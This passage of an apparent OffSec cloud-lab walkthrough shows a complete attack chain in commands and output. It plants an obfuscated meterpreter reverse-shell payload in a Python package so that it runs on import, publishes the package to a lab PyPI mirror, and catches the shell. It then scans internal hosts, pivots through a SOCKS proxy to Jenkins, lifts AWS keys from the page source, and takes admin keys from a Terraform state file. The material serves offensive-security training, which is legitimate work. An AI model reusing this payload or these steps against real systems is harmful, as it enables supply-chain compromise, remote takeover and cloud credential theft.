kali@kali:~/hackshort-util$ pip install ./dist/hackshort_util-1.1.4.tar.gz
...

kali@kali:~/hackshort-util$ cat /tmp/running_during_install           
This code was executed when the package was installed 
```

{% endcode %}

### Command Execution During Runtime

We know the developers we're targeting use the package by importing `utils` from `hackshort_utils`.

Creating utils.py file with Exception Hook function:

{% code overflow="wrap" %}

```python
kali@kali:~/hackshort-util$ nano hackshort_util/utils.py
                                                                                                        
kali@kali:~/hackshort-util$ cat -n hackshort_util/utils.py
01  import time
02  import sys
03
04  def standardFunction():
05          pass
06
07  def __getattr__(name):
08          pass
09          return standardFunction
10
11  def catch_exception(exc_type, exc_value, tb):
12      while True:
13          time.sleep(1000)
14
15  sys.excepthook = catch_exception
```

{% endcode %}

Uninstalling, rebuilding, and reinstalling hackshort-util package:

{% code overflow="wrap" %}

```bash
kali@kali:~/hackshort-util$ pip uninstall hackshort-util
...

kali@kali:~/hackshort-util$ python3 ./setup.py sdist
...

kali@kali:~/hackshort-util$ pip install ./dist/hackshort_util-1.1.4.tar.gz
...
```

{% endcode %}

Testing our newly created package:

{% code overflow="wrap" %}

```python
kali@kali:~$ python3                 
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from hackshort_util import utils
>>> utils.run()
>>> 1/0
```

{% endcode %}

### Adding a Payload

Generating a python meterpreter payload:

{% code overflow="wrap" %}

```bash
kali@kali:~$ msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.88.99.76 LPORT=4488
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 436 bytes
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGMPuUrvtYgURDyIiuHsTWdp01NI0KZmsVsX/7oYsXmZ4b968+ejHyflA0ekBgvw2fSvbBqHIJQZ/0EGGfgTy6jydaW+pb+wb8OVCbEgW/NcxZlinZpUSX8kT3j7e3O+3u6fb6wcRdUo7a0EHztmyWqmyVFWl1gWTeV6WIkpaD81AMpg1TCF6x+EKDcDELwQxddpJHezU6IGzqzsmUXnQHzwX4nnxQrr6hI0gn++9AWrA8k5cmqNdd/ZfPU+0IDCD5vFs1YF24+QBkacPqLbII9lBVMofhmyDv4L8AerjXyE=')[0])))
```

{% endcode %}

Modifying utils.py to add the generated payload:

{% code overflow="wrap" %}

```python
kali@kali:~/hackshort-util$ nano hackshort_util/utils.py

kali@kali:~/hackshort-util$ cat -n hackshort_util/utils.py
01  import time
02  import sys
03
04  def standardFunction():
05          pass
06
07  def __getattr__(name):
08          pass
09          return standardFunction
10
11  def catch_exception(exc_type, exc_value, tb):
12      while True:
13          time.sleep(1000)
14
15  sys.excepthook = catch_exception
16
17  exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGMPuUrvtYgURDyIiuHsTWdp01NI0KZmsVsX/7oYsXmZ4b968+ejHyflA0ekBgvw2fSvbBqHIJQZ/0EGGfgTy6jydaW+pb+wb8OVCbEgW/NcxZlinZpUSX8kT3j7e3O+3u6fb6wcRdUo7a0EHztmyWqmyVFWl1gWTeV6WIkpaD81AMpg1TCF6x+EKDcDELwQxddpJHezU6IGzqzsmUXnQHzwX4nnxQrr6hI0gn++9AWrA8k5cmqNdd/ZfPU+0IDCD5vFs1YF24+QBkacPqLbII9lBVMofhmyDv4L8AerjXyE=')[0])))
```

{% endcode %}

Logging into the cloud Kali instance via SSH:

```bash
kali@kali:~$ ssh kali@192.88.99.76
The authenticity of host '192.88.99.76 (192.88.99.76)' can't be established.
ED25519 key fingerprint is SHA256:uw2cM/UTH1lO2xSphPrIBa66w3XqioWiyrWRgHND/WI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.88.99.76' (ED25519) to the list of known hosts.
kali@192.88.99.76's password: 

kali@cloud-kali:~$
```

Initializing Metasploit's Database:

```bash
kali@cloud-kali:~$ sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
```

Starting Metasploit and configuring the handler:

{% code overflow="wrap" %}

```bash
kali@cloud-kali:~$ msfconsole
....

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0

msf6 exploit(multi/handler) > set LPORT 4488
LPORT => 4488

msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false

msf6 exploit(multi/handler) > run -jz
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4488
```

{% endcode %}

Uninstalling, rebuilding, reinstalling, and importing the hackshort-util package:

{% code overflow="wrap" %}

```bash
kali@kali:~/hackshort-util$ pip uninstall hackshort-util
...

kali@kali:~/hackshort-util$ python3 ./setup.py sdist
...

kali@kali:~/hackshort-util$ pip install ./dist/hackshort-util-1.1.4.tar.gz
...

kali@kali:~/hackshort-util$ python3
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from hackshort_util import utils
>>>
```

{% endcode %}

Capturing the reverse shell:

```bash
msf6 exploit(multi/handler) >
[*] Sending stage (24772 bytes) to 233.252.50.125
[*] Meterpreter session 1 opened (10.0.1.87:4488 -> 233.252.50.125:52342)
```

Closing the Meterpreter Session:

```bash
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 233.252.50.125 - Meterpreter session 1 closed.  Reason: Died
```

### Publishing Our Malicious Package

Configuring \~/.pypirc file to add server URL and login credentials:

{% code overflow="wrap" %}

```bash
kali@kali:~/hackshort-util$ nano ~/.pypirc

kali@kali:~/hackshort-util$ cat ~/.pypirc
[distutils]
index-servers = 
    offseclab 

[offseclab]
repository: http://pypi.offseclab.io/
username: student
password: password 
```

{% endcode %}

Uploading our malicious package to offseclab repository:

{% code overflow="wrap" %}

```bash
kali@kali:~/hackshort-util$ python3 setup.py sdist upload -r offseclab              
...
Submitting dist/hackshort-util-1.1.4.tar.gz to http://pypi.offseclab.io/
Server response (200): OK
```

{% endcode %}

{% hint style="info" %}
If a bad package was uploaded and we need to remove it, we can run the following command: curl -u "student:password" --form ":action=remove\_pkg" --form "name=hackshort-util" --form "version=1.1.4" <http://pypi.offseclab.io/>
{% endhint %}

Obtaining a reverse shell after publishing our malicious package to pypi.offseclab.io PyPI server:

{% code overflow="wrap" %}

```bash
msf6 exploit(multi/handler) >
[*] Sending stage (24772 bytes) to 44.211.221.172
[*] Meterpreter session 2 opened (10.0.1.54:4488 -> 44.211.221.172:37604)
```

{% endcode %}

## Compromising the Environment

### Enumerating the Production Container

Interacting with the new session:

{% code overflow="wrap" %}

```bash
msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                      Information          Connection
  --  ----  ----                      -----------          ----------
  2         meterpreter python/linux  root @ 6699d104d6c5  10.0.1.54:4488 -> 198.18.53.73:37604 (172.18.0.4)

msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
```

{% endcode %}

Reviewing network interfaces:

{% code overflow="wrap" %}

```bash
meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP LOOPBACK RUNNING
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 41
============
Name         : eth1
Hardware MAC : 02:42:ac:1e:00:03
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.30.0.3
IPv4 Netmask : 255.255.0.0


Interface 43
============
Name         : eth0
Hardware MAC : 02:42:ac:12:00:04
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.18.0.4
IPv4 Netmask : 255.255.0.0
```

{% endcode %}

Checking user and current directory:

{% code overflow="wrap" %}

```bash
meterpreter > shell
whoami
root

ls -alh
total 32K
drwxr-xr-x 1 root root  17 Jul  6 16:25 .
drwxr-xr-x 1 root root  40 Jul  6 16:42 ..
drwxr-xr-x 8 root root 162 Jul  6 16:41 .git
-rw-r--r-- 1 root root 199 Jul  6 16:25 Dockerfile
-rw-r--r-- 1 root root 15K Jul  6 16:25 README.md
drwxr-xr-x 1 root root  52 Jul  6 16:42 app
-rw-r--r-- 1 root root 167 Jul  6 16:25 pip.conf
-rw-r--r-- 1 root root 196 Jul  6 16:25 requirements.txt
-rw-r--r-- 1 root root 123 Jul  6 16:25 run.py
```

{% endcode %}

Reviewing mounts:

{% code overflow="wrap" %}

```bash
mount

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/XSUOTVCMJALCFZC3RDKUMDRFT7:/var/lib/docker/overlay2/l/GZ2WZHEOX36F3NXSO3JL4BYD6L:/var/lib/docker/overlay2/l/HVQUSP32SJWVAJ3KOL2QASE4W3:/var/lib/docker/overlay2/l/HE7JGACHWIPRNCT54LBN6AXOZP:/var/lib/docker/overlay2/l/ESRP43XML3BVETNT2Z7I3N2JU4:/var/lib/docker/overlay2/l/KP435SVPCD3NIUYPJPVAREWOOZ:/var/lib/docker/overlay2/l/72FQOR2NP3DWJJSQEXIRCSYJLG:/var/lib/docker/overlay2/l/XGHOLK75NEJNWWWX6CXQOTPRVX:/var/lib/docker/overlay2/l/FYRGADRJGMIS5XK5SBKPLCX6BG:/var/lib/docker/overlay2/l/Z2X5KHFJNPU35ZKBGAHJUEZT3I:/var/lib/docker/overlay2/l/5QTAPW6XADCCWCTAVASPNQT7A4:/var/lib/docker/overlay2/l/35PKZCCO3U4ARBXXGICO35VEMU:/var/lib/docker/overlay2/l/J5J2DCSN4XC4G5HJ6VLPEB3KJL:/var/lib/docker/overlay2/l/D3NHOQ5FM57FMMCEBAT575CAVI:/var/lib/docker/overlay2/l/4BJ4Q3NJFA6VRGPHR4GYYFAB4T,upperdir=/var/lib/docker/overlay2/b95da9be18e4db9ea42697d255af877c65d441522e0f02f8a628239709573bfc/diff,workdir=/var/lib/docker/overlay2/b95da9be18e4db9ea42697d255af877c65d441522e0f02f8a628239709573bfc/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
...
```

{% endcode %}

Reviewing environment variables:

{% code overflow="wrap" %}

```bash
printenv

HOSTNAME=6699d104d6c5
SECRET_KEY=asdfasdfasdfasdf
PYTHON_PIP_VERSION=22.3.1
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
ADMIN_PASSWORD=password
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SQLALCHEMY_TRACK_MODIFICATIONS=False
PYTHON_VERSION=3.11.2
PYTHON_SETUPTOOLS_VERSION=65.5.1
PWD=/app
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
SQLALCHEMY_DATABASE_URI=sqlite:////data/data.db
ADMIN_USERNAME=admin
```

{% endcode %}

Closed and reopened meterpreter sessions:

```bash
[*] 172.18.0.4 - Meterpreter session 2 closed.  Reason: Died

[*] Sending stage (24772 bytes) to 198.18.53.73

[*] Meterpreter session 3 opened (10.0.1.54:4488 -> 198.18.53.73:60146)

msf6 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter >
```

### Scanning the Network

Creating a python script for port scanning:

{% code overflow="wrap" %}

```python
kali@kali:~$ nano netscan.py

kali@kali:~$ cat -n netscan.py
01  import socket
02  import ipaddress
03  import sys
04
05  def port_scan(ip_range, ports):
06      for ip in ip_range:
07          print(f"Scanning {ip}")
08          for port in ports:
09              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10              sock.settimeout(.2)
11              result = sock.connect_ex((str(ip), port))
12              if result == 0:
13                  print(f"Port {port} is open on {ip}")
14              sock.close()
15
16  ip_range = ipaddress.IPv4Network(sys.argv[1], strict=False)
17  ports = [80, 443, 8080]  # List of ports to scan
18
19  port_scan(ip_range, ports)
```

{% endcode %}

Transferring netscan.py to cloud kali instance:

```bash
kali@kali:~$ scp ./netscan.py kali@34.203.75.99:/home/kali/
kali@34.203.75.99's password: 
netscan.py                                100%  462     2.0KB/s   00:00  
```

Uploading netscan.py to the target:

```bash
meterpreter > upload /home/kali/netscan.py /netscan.py
[*] Uploading  : /home/kali/netscan.py -> /netscan.py
[*] Uploaded 559.00 B of 559.00 B (100.0%): /home/kali/netscan.py -> /netscan.py
[*] Completed  : /home/kali/netscan.py -> /netscan.py
```

Reminding ourselves o fthe network ranges we're targeting:

```bash
meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP LOOPBACK RUNNING
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 65
============
Name         : eth0
Hardware MAC : 02:42:ac:12:00:04
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.18.0.4
IPv4 Netmask : 255.255.0.0


Interface 67
============
Name         : eth1
Hardware MAC : 02:42:ac:1e:00:03
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 172.30.0.3
IPv4 Netmask : 255.255.0.0
```

Port scanning 172.18.0.1/24 to shorten the scan time rather than /16:

```bash
meterpreter > shell
Process 17 created.
Channel 4 created.

python /netscan.py 172.18.0.1/24
Scanning 172.18.0.0
Scanning 172.18.0.1
Port 80 is open on 172.18.0.1
Scanning 172.18.0.2
Port 80 is open on 172.18.0.2
Scanning 172.18.0.3
Port 80 is open on 172.18.0.3
Scanning 172.18.0.4
Scanning 172.18.0.5
Port 80 is open on 172.18.0.5
Scanning 172.18.0.6
...
```

{% hint style="info" %}
When you run **netscan.py**, it might seem that the shell is frozen. This is normal while the script runs. Give it a few minutes, and it should become responsive and display the output of the scan.
{% endhint %}

Using curl to fingerprint services:

```bash
curl -vv 172.18.0.1
...
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Caddy
< Content-Length: 0
...

curl -vv 172.18.0.2
...
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Caddy
< Content-Length: 0
...
```

Port scanning on 172.30.0.1/24 for the same reason:

```bash
python /netscan.py 172.30.0.1/24

Scanning 172.30.0.0
Scanning 172.30.0.1
Port 80 is open on 172.30.0.1
Scanning 172.30.0.2
...
Scanning 172.30.0.10
Port 80 is open on 172.30.0.10
Scanning 172.30.0.11
...
Scanning 172.30.0.30
Port 8080 is open on 172.30.0.30
Scanning 172.30.0.31
...
Scanning 172.30.0.50
Port 8080 is open on 172.30.0.50
Scanning 172.30.0.51
...
Scanning 172.30.0.60
Port 8080 is open on 172.30.0.60
Scanning 172.30.0.61
...
```

Discovered the Jenkins Service while running curl on specific endpoins:

{% code overflow="wrap" %}

```bash
curl 172.30.0.30:8080/
...
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2F'/><script>window.location.replace('/login?from=%2F');</script></head><body style='background-color:white; color:white;'>

...

curl 172.30.0.30:8080/login
...
<!DOCTYPE html><html lang="en"><head resURL="/static/dd8fdc36" data-rooturl="" data-resurl="/static/dd8fdc36" data-imagesurl="/static/dd8fdc36/images"><title>Sign in [Jenkins]</title><meta name="ROBOTS" content="NOFOLLOW"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="/static/dd8fdc36/jsbundles/simple-page.css" type="text/css"></head><body><div class="simple-page" role="main"><div class="modal login"><div id="loginIntroDefault"><div class="logo"><img src="/static/dd8fdc36/images/svgs/logo.svg" alt="Jenkins logo"></div><h1>Welcome to Jenkins!</h1></div><form method="post" name="login" action="j_spring_security_check"><p class="signupTag simple-page--description">Please sign in below or <a href="signup">create an account</a>.<div class="jenkins-form-item jenkins-form-item--tight"><input autocorrect="off" autocomplete="off" name="j_username" id="j_username" placeholder="Username" type="text" autofocus="autofocus" class="jenkins-input normal" autocapitalize="off" aria-label="Username"></div><div class="jenkins-form-item jenkins-form-item--tight"><input name="j_password" placeholder="Password" type="password" class="jenkins-input normal" aria-label="Password"></div><div class="jenkins-checkbox jenkins-form-item jenkins-form-item--tight jenkins-!-margin-bottom-3"><input type="checkbox" id="remember_me" name="remember_me"><label for="remember_me">Keep me signed in</label></div><input name="from" type="hidden"><div class="submit"><button type="submit" name="Submit" class="jenkins-button jenkins-button--primary">Sign in</button></div></form><div class="footer"></div></div></div></body></html>
```

{% endcode %}

### Loading Jenkins

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FsT1xmItjZ1PAFwOSyUxI%2Fimage.png?alt=media&#x26;token=6a6f59c6-af74-4e0a-b3cf-9cd5b8996c0f" alt=""><figcaption><p>Tunneling Diagram</p></figcaption></figure>

Exiting shell and sending session to background:

{% code overflow="wrap" %}

```bash
exit
[-] core_channel_interact: Operation failed: Unknown error

meterpreter > background
[*] Backgrounding session 1...
```

{% endcode %}

Using SOCKS proxy module and running it:

```bash
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1

msf6 auxiliary(server/socks_proxy) > run -j
[*] Auxiliary module running as background job 1.
```

Creating a route:

{% code overflow="wrap" %}

```bash
msf6 exploit(server/socks_proxy) > sessions

Active sessions
===============

  Id  Name  Type                      Information          Connection
  --  ----  ----                      -----------          ----------
  2         meterpreter python/linux  root @ 6699d104d6c5  10.0.1.54:4488 -> 198.18.53.73:37604 (172.18.0.4)

msf6 auxiliary(server/socks_proxy) > route add 172.30.0.1 255.255.0.0 2
```

{% endcode %}

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FhIf5qe5VViY3yXGY64Nc%2Fimage.png?alt=media&#x26;token=df18018a-646a-4d72-8ce0-f1ae40fecfdb" alt=""><figcaption><p>Tunneling Diagram with no SSH tunnel</p></figcaption></figure>

Creating local forward ssh tunnel:

{% code overflow="wrap" %}

```bash
kali@kali:~$ ssh -fN -L localhost:1080:localhost:1080 kali@192.88.99.76
kali@192.88.99.76's password:

kali@kali:~$ ss -tulpn
Netid  State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process                          
tcp    LISTEN  0       128          127.0.0.1:1080        0.0.0.0:*     users:(("ssh",pid=75991,fd=5))  
tcp    LISTEN  0       128              [::1]:1080           [::]:*     users:(("ssh",pid=75991,fd=4))  
```

{% endcode %}

Setup firefox proxy to SOCK5 to 127.0.0.1 on port 1080 or a FoxyProxy profile for SOCKS5 to 127.0.0.1 on port 1080.

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FgTOkfq8s7lL0nnmi04y8%2Fimage.png?alt=media&#x26;token=cc4ff43b-1b76-4b1a-9537-925cf1ed1118" alt=""><figcaption><p>Adding a SOCKS proxy to Firefox</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FDYetx0INOEOfJ4x2BGzk%2Fimage.png?alt=media&#x26;token=f543a2d1-ac46-45d2-aa5f-7c7acaf7e47f" alt=""><figcaption><p>Adding a SOCKS proxy to FoxyProxy</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FRgSIm5HKPC3oLv3KOWPP%2Fimage.png?alt=media&#x26;token=7838af8c-2dd7-42c5-9f31-332169c9461c" alt=""><figcaption><p>Jenkins on the internal network of our target via Firefox</p></figcaption></figure>

### Exploiting Jenkins

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FdiAKYIM1hA1A5AIk1s8L%2Fimage.png?alt=media&#x26;token=d1847c9a-7455-4180-85da-d223bd926375" alt=""><figcaption><p>Self-registering a Jenkins account</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FVyUEWF5Dp0yUB6TASpQI%2Fimage.png?alt=media&#x26;token=4f8aa776-8b02-448d-b45a-adf8625750eb" alt=""><figcaption><p>Navigating to the Dashboard</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FAxtJFxRs2YgegyhDvrAE%2Fimage.png?alt=media&#x26;token=de1598a1-ac0e-4f83-8d84-51ea8f057859" alt=""><figcaption><p>Company Directory</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2Fk2MS3lAr4AO6uG0gkv4A%2Fimage.png?alt=media&#x26;token=470717cb-3819-4e89-baf8-c45a94979c16" alt=""><figcaption><p>Researching the S3 Explorer plugin</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2F30cUlpq5QUoA7T4Q7D9B%2Fimage.png?alt=media&#x26;token=6684e00f-8154-4d72-9662-139941b4e73d" alt=""><figcaption><p>Navigating to S3 Explorer</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FSjyY7DrSuBLtG4QJbXLu%2Fimage.png?alt=media&#x26;token=2e77f011-032a-4b1c-8f8b-007748adb97f" alt=""><figcaption><p>View Source on S3 Explorer</p></figcaption></figure>

Finding the AWS key in Source:

{% code overflow="wrap" %}

```markup
...<div id="page-wrapper" ng-controller="SettingsController"></div></div><input id="awsregion" type="hidden" value="us-east-1"><input id="awsid" type="hidden" value="AKIAUBHUBEGIMWGUDSWQ"><input id="awskey" type="hidden" value="e7pRWvsGgTyB8UHNXilvCZdC9xZPA8oF3KtUwaJ5"><input id="bucket" type="hidden" value="company-directory-9b58rezp3vvkf90f"></div></div><footer class="page-footer"><div class="container-fluid"><div class="page-footer__flex-row"><div class="page-footer__footer-id-placeholder" id="footer"></div><div class="page-footer__links page-footer__links--white jenkins_ver"><a rel="noopener noreferrer" href="https://www.jenkins.io/" target="_blank">Jenkins 2.385</a></div></div></div></footer></body></html><script src="http://automation.offseclab.io/plugin/s3explorer/js/s3explorer.js"></script>
```

{% endcode %}

### Enumerating with Discovered Credentials

Configuring a profile with our discovered AWS credentials:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws configure --profile=stolen-s3
AWS Access Key ID [None]: AKIAUBHUBEGIMWGUDSWQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: 
```

{% endcode %}

Getting the Account ID and User Name:

```bash
kali@kali:~$ aws --profile=stolen-s3 sts get-caller-identity
{
    "UserId": "AIDAUBHUBEGIFYDAVQPLB",
    "Account": "347537569308",
    "Arn": "arn:aws:iam::277537169808:user/s3_explorer"
}
```

Listing S3 bucket for Company Directory:

```bash
kali@kali:~$ aws --profile=stolen-s3 s3 ls company-directory-9b58rezp3vvkf90f
2023-07-06 13:49:19        117 Alen.I.vcf
2023-07-06 13:49:19        118 Goran.B.vcf
2023-07-06 13:49:19        117 Zeljko.B.vcf
```

Listing all Buckets from stolen-s3 account:

```bash
kali@kali:~$ aws --profile=stolen-s3 s3api list-buckets
{
    "Buckets": [
        {
            "Name": "company-directory-9b58rezp3vvkf90f",
            "CreationDate": "2023-07-06T16:21:16+00:00"
        },
        {
            "Name": "tf-state-9b58rezp3vvkf90f",
            "CreationDate": "2023-07-06T16:21:16+00:00"
        }
    ]
    ...
}
```

The prefix "tf" in cloud environments often refers to Terraform, and a Terraform state often refers to the file that is used to store the current configuration, including *potential secrets*.

### Discovering the State File and Escalating to Admin

Listing the Terraform State Bucket:

```bash
kali@kali:~$ aws --profile=stolen-s3 s3 ls tf-state-9b58rezp3vvkf90f    
2023-07-06 12:19:16       6731 terraform.tfstate
```

Copying Terraform State File to our local Kali machine:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws --profile=stolen-s3 s3 cp s3://tf-state-9b58rezp3vvkf90f/terraform.tfstate ./
download: s3://tf-state-9b58rezp3vvkf90f/terraform.tfstate to ./terraform.tfstate
```

{% endcode %}

Reviewing State File - Users:

{% code overflow="wrap" %}

```bash
kali@kali:~$ cat -n terraform.tfstate
001  {
...
007      "user_list": {
008        "value": [
009          {
010            "email": "Goran.Bregovic@offseclab.io",
011            "name": "Goran.B",
012            "phone": "+1 555-123-4567",
013            "policy": "arn:aws:iam::aws:policy/AdministratorAccess"
014          },
015          {
016            "email": "Zeljko.Bebek@offseclab.io",
017            "name": "Zeljko.B",
018            "phone": "+1 555-123-4568",
019            "policy": "arn:aws:iam::aws:policy/ReadOnlyAccess"
020          },
021          {
022            "email": "Alen.Islamovic@offseclab.io",
023            "name": "Alen.I",
024            "phone": "+1 555-123-4569",
025            "policy": "arn:aws:iam::aws:policy/ReadOnlyAccess"
026          }
027        ],
...
041    },
```

{% endcode %}

Reviewing State File - Keys:

```bash
042    "resources": [
043      {
...
049          {
050            "index_key": "Alen.I",
051            "schema_version": 0,
052            "attributes": {
...
056              "id": "AKIAUBHUBEGIKIZJ7OEI",
...
059              "secret": "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",
...
063            },
...
069          },
070          {
071            "index_key": "Goran.B",
072            "schema_version": 0,
073            "attributes": {
...
077              "id": "AKIAUBHUBEGIGZN3IP46",
...
080              "secret": "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",
...
084            },
...
090          },
...
```

Configuring Goran.B Profile using AWS CLI:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws configure --profile=goran.b                                                 
AWS Access Key ID [None]: AKIAUBHUBEGIGZN3IP46
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: 
```

{% endcode %}

Listing attached user policies with Goran.B profile:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws --profile=goran.b iam list-attached-user-policies --user-name goran.b
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}
```

{% endcode %}
